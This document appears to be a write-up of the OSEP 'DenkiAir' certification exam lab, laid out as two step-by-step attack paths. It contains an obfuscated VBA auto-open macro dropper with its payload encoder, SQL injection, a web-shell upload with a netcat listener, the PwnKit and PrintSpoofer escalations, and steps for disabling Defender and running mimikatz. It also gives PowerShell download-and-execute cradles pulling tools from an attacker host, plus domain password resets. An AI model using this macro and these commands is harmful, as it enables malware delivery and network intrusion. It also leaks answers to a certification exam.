OSEP DenkiAir Writeup June 2022
OSEP DenkiAir Writeup June 2022
OSEP DenkiAir Writeup June 2022
June2022
Exam path 1
DB01
During nmap scan found a web application running on port 80 on
192.xxx.xxx.xxx. The website allowed to book flight tickets.
And also allowed to filter route based on source and destination
with src and dst parameters. And found that src parameter is
vulnerable to SQL Injection and got access to DB01.denkiair-
ops.com with SQL injection as .
When src given always true condition (' or 1=1;--) it prints all
the source and destination. Chance of SQLi.
ExamServices#4864
Give the src= below payload(below command is used to
execute process hollowing shellcode runner. Can be any
command):
DB01 privesc
SeImpersonatePrivilege is enabled
PrintSpoofer.exe -i -c cmd
systemctl --type=service
And found:
rocketchat.service
loaded active running The Rocket.Chat server
Look at /usr/lib/systemd/system/rocketchat.service and found
how to rocketchat mongo db.
Payload encrypter
$payload = "denki_proj_wip.docm"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 17
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output | clip
Paste inside If ActiveDocument.Name <> Nuts("")
vba code
Sub SubstitutePage()
ActiveDocument.Content.Select
Selection.Delete
ActiveDocument.AttachedTemplate.AutoTextEntries("TheD
oc").Insert Where:=Selection.Range, RichText:=True
MyMacro
End Sub
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function
Function MyMacro()
If ActiveDocument.Name <>
Nuts("11711812712412211212913112812311213612212906311
7128116126") Then
Exit Function
End If
Dim Apples As String
Dim Water As String
Apples =
"129128xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx056058058"
Wait (5)
Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nu
ts("104122127068067112097131128116118132132")).Create
Water, Tea, Coffee, Napkin
End Function
Sub AutoOpen()
MyMacro
SubstitutePage
End Sub
Sub Document_Open()
MyMacro
SubstitutePage
End Sub
C:\Windows\System32\fodhelper.exe
Lateral movement to DC01
mimikatz
Exam path 2
web02
There is a option to apply job.
There upload functionality and we can uplaod phtml file.
When directory brute forcing found http://192.xxx.xxx.xxx/db/
When browsing to the page found that app.db.
Start nc listner.
nc -nvlp 443
Browser to http://192.xxx.xxx.xxx/uploads/xxxxxxx.phtml
Start listener:
chmod +x socat
web02 Privesc
Run 2021 PwnKit(CVE-2021-4034) from GitHub - ly4k/PwnKit:
Self-contained exploit for CVE-2021-4034 - Pkexec Local
Privilege Escalation
chmod +x PwnKit
./PwnKit
web02 Persistance
Change the password of the root user.
passwd
ssh root@192.xx.xxx.xxx
su lisa.price@denkiair.com
(admin01) privesc
sudo /bin/bash
admin01 to admin02 lateral
movement
There is network activity going on from matthew.lucas
And we got the process id: 34511. Run strace to find the
credential.
Disable defender.
Upload printspoofer and run it.
(new-object
system.net.webclient).downloadstring('http://192.xxx.
xxx.xxx/SharpHound.ps1') | IEX
Invoke-BloodHound -CollectionMethod All
hashdump admin02
D7oxxxxxxxx9fX
Enable RDP:
reg add
"HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
In cmd run:
(new-object
system.net.webclient).downloadstring('http://192.xxx.
xxx.xxx/PowerView.ps1') | IEX
Set-DomainUserPassword -Identity
KYLE.COLE@DENKIAIR.COM -AccountPassword (ConvertTo-
SecureString 'Password123' -AsPlainText -Force) -
Verbose
ShareLemon
Scan 172.16.106.112 with nmap and port 5000 is open.
KYLE.COLE:Password123